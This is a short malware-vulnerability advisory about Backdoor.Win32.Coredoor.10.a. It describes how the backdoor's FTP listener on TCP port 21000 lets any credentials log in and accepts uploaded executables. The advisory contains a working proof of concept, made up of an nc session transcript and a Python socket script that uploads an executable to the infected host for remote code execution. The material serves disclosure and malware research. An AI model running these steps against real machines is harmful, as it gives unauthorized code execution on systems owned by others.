Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 4d10cd3fa86239ade05d2b741892b1e5
Vuln ID: MVID-2021-0410
Dropped files: CFS.exe 
Disclosure: 11/25/2021


Exploit/PoC:
nc64.exe x.x.x.x 21000
220 c400s FTP Server read...
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,155).
STOR DOOM-SM
150 Opening data connection for DOOM-SM.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49819
DOOM="DOOM-SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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